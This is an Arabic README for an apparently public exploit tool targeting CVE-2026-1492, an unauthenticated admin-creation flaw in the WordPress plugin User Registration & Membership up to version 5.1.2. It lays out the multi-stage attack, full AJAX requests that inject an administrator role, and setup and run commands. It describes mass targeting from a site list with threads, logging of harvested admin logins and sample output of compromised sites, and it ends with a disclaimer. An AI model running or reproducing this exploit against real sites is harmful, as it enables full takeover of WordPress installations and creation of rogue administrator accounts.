
User Registration & Membership <= 5.1.2 - تصعيد امتيازات بدون مصادقة عبر تسجيل العضوية
User Registration & Membership <= 5.1.2 - تصعيد الامتيازات دون مصادقة عبر تسجيل العضوية
الوصف:
إضافة User Registration & Membership الخاصة بـ WordPress معرّضة لثغرة تصعيد الامتيازات دون مصادقة في جميع الإصدارات حتى 5.1.2 وما يشملها. يعود سبب الثغرة إلى معالج AJAX user_registration_membership_register_member الذي يقبل قيمة role مقدَّمة من المستخدم أثناء عملية تسجيل العضوية دون فرض أي قائمة سماح على الخادم أو فحص صلاحيات. يمكن لمهاجم بعيد غير مصادَق تمامًا أن يصوغ سلسلة طلبات AJAX متعددة الخطوات — تبدأ بتسجيل حساب مستخدم جديد، ثم إرسال استدعاء register_member خبيث مع حقن "role": "administrator" داخل حمولة JSON الخاصة بـ members_data — لإنشاء حساب Administrator (مسؤول) في WordPress بصلاحيات كاملة وبصمت تام. يؤدي ذلك إلى اختراق كامل لتثبيت WordPress المتأثر دون الحاجة إلى أي تفاعل من المستخدم.
هذا سكربت استغلال إثبات المفهوم (PoC) ينفّذ سلسلة هجوم كاملة مدركة للحالة ضد مواقع WordPress التي تشغّل إصدارًا معرّضًا من إضافة User Registration & Membership. تنفّذ الأداة استغلالًا ذكيًا متعدد المراحل يشمل الاكتشاف التلقائي، واستخراج خطط العضوية، وجمع الـ nonce، والتسجيل ثنائي التدفق، وحقن الدور، والتحقق من المسؤول.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
أو عبر ملف المتطلبات:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
تستخدم الأداة واجهة طرفية تفاعلية بالكامل مدعومة بمكتبة Rich، وتُطلب جميع المعاملات في وقت التشغيل.
أنشئ ملفًا نصيًا بسيطًا (الافتراضي: list.txt) بحيث يحتوي كل سطر على هدف واحد:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
تكتشف الأداة وتحلّل تلقائيًا:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ يقبل الخادم حقل
roleمن العميل دون أي تحقق من قائمة السماح — وهذا هو السبب الجذري لثغرة CVE-2026-1492.
تفتح الأداة جلسة جديدة، وتسجّل الدخول باستخدام بيانات الاعتماد المنشأة حديثًا، ثم تفحص:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
بواسطة: Nxploited (Khaled Alenazi)
تُقدَّم هذه الأداة لأغراض التعليم والبحث الأمني المصرح به فقط.
المؤلف، Nxploited (Khaled Alenazi)، وجميع المساهمين في هذا المشروع لا يتغاضون عن إساءة استخدام هذه الأداة، ولا يدعمونها، ولا يتحملون أي مسؤولية عن أي ضرر ناتج عن استخدام هذا البرنامج ضد أنظمة لا تملكون إذنًا كتابيًا صريحًا لاختبارها.
- ✅ مسموح: الاستخدام على الأنظمة التي تملكونها أو التي مُنحتم إذنًا كتابيًا صريحًا لاختبارها.
- ❌ محظور: الاستخدام ضد أي أنظمة دون الحصول على إذن كتابي صريح مسبق من مالك النظام.
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني ويعاقَب عليه بموجب القوانين المعمول بها، بما في ذلك على سبيل المثال لا الحصر قانون Computer Fraud and Abuse Act (CFAA) وقانون Computer Misuse Act (CMA) والتشريعات المماثلة في جميع أنحاء العالم.
باستخدام هذه الأداة، فإنكم تقبلون المسؤولية الكاملة والحصرية عن أفعالكم وتؤكدون أن لديكم السلطة القانونية لاختبار الأنظمة المستهدفة.
لا يتحمل المؤلف أي مسؤولية مهما كانت عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو تبعية تنشأ عن استخدام هذا البرنامج أو إساءة استخدامه.
© 2026 Nxploited (Khaled Alenazi) — لأغراض البحث الأمني المصرح به فقط.
| الحقل | التفاصيل |
|---|
| معرّف CVE | CVE-2026-1492 |
| الخطورة | حرجة — درجة CVSS v3.1: 9.8 |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| البرمجيات المتأثرة | User Registration & Membership — مُنشئ نماذج التسجيل المخصصة، ونموذج تسجيل الدخول المخصص، وملف المستخدم، وإضافة تقييد المحتوى والعضوية لـ WordPress |
| الإصدارات المتأثرة | جميع الإصدارات حتى 5.1.2 وما يشملها |
| نوع الثغرة | إدارة امتيازات غير سليمة — إنشاء حساب مسؤول دون مصادقة |
| المصادقة | غير مطلوبة |
| CWE | CWE-269: إدارة امتيازات غير سليمة |
| الهدف | البيانات المستخرجة |
|---|
/membership-pricing/ | معرّفات خطط العضوية، وروابط صفحة التسجيل |
/registration/ | حقول النموذج، ورموز nonce، وروابط AJAX، ومدخلات الراديو الخاصة بالعضوية |
كائن JS user_registration_params | ajax_url، وnonce security، والبيانات الوصفية للنموذج |
ur_membership_frontend_localized_data | nonce خاص بالعضوية، ونقطة نهاية AJAX |
| نقطة النهاية | المؤشر المُفحَص |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| الملف | الوصف |
|---|
Nx_admin.txt | ✅ حسابات المسؤول المؤكدة |
membership_success_log.txt | جميع استدعاءات حقن دور العضوية الناجحة |
discovery_log.txt | بيانات الاكتشاف الكاملة لكل هدف (nonces، معرّفات، حقول) |
registration_log.txt | جميع طلبات واستجابات تسجيل AJAX |
membership_log.txt | جميع طلبات واستجابات عضوية AJAX |
admin_check_log.txt | محاولات تسجيل الدخول ونتائج التحقق من المسؤول |
| الحالة | اللون | المعنى |
|---|
ADMIN-A / ADMIN-B | 🟢 أخضر | تم تأكيد المسؤول — التدفق A أو B |
ADMIN-A-OVERRIDE | 🟢 أخضر | تم تأكيد المسؤول بعد محاولة التجاوز |
REG-A-FAIL / REG-B-FAIL | 🟡 أصفر | فشل استدعاء تسجيل AJAX |
MEM-A-FAIL / MEM-B-FAIL | 🟣 أرجواني | فشل استدعاء حقن دور العضوية |
REG-PENDING-A/B | ⚫ داكن | الحساب يتطلب التحقق من البريد الإلكتروني أو موافقة المسؤول |
NO-MEM-ID | ⚫ داكن | لم يتم العثور على معرّف خطة العضوية على الهدف |
NO-UR-NONCE | ⚫ داكن | nonce التسجيل غير قابل للاستخراج |
NO-ADMIN | ⚫ داكن | العضوية ناجحة لكن وصول المسؤول غير مؤكد |
TIMEOUT | ⚫ داكن | انتهاء مهلة HTTP |
DEAD | ⚫ داكن | خطأ اتصال — الموقع غير قابل للوصول |
ERROR | 🔴 أحمر | استثناء غير متوقع |